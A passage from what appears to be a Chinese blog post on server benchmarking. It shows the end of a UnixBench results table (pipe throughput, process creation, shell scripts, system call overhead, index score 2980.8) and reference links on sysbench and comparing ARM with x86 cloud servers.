300291.5 1814.5 File Copy 4096 bufsize 8000 maxblocks 5800.0 3433079.5 5919.1 Pipe Throughput 12440.0 2704214.4 2173.8 Pipe-based Context Switching 4000.0 565815.4 1414.5 Process Creation 126.0 31990.1 2538.9 Shell Scripts (1 concurrent) 42.4 17826.7 4204.4 Shell Scripts (8 concurrent) 6.0 2525.2 4208.6 System Call Overhead 15000.0 1474932.5 983.3 ======== System Benchmarks Index Score 2980.8参考资料sysbench压力测试工具安装和参数介绍UnixBench 测试工具简单使用ARM和X86云服务器的算力对比
2021年11月30日
2,631 阅读
0 评论
0 点赞
1
...
15
16
17
...
25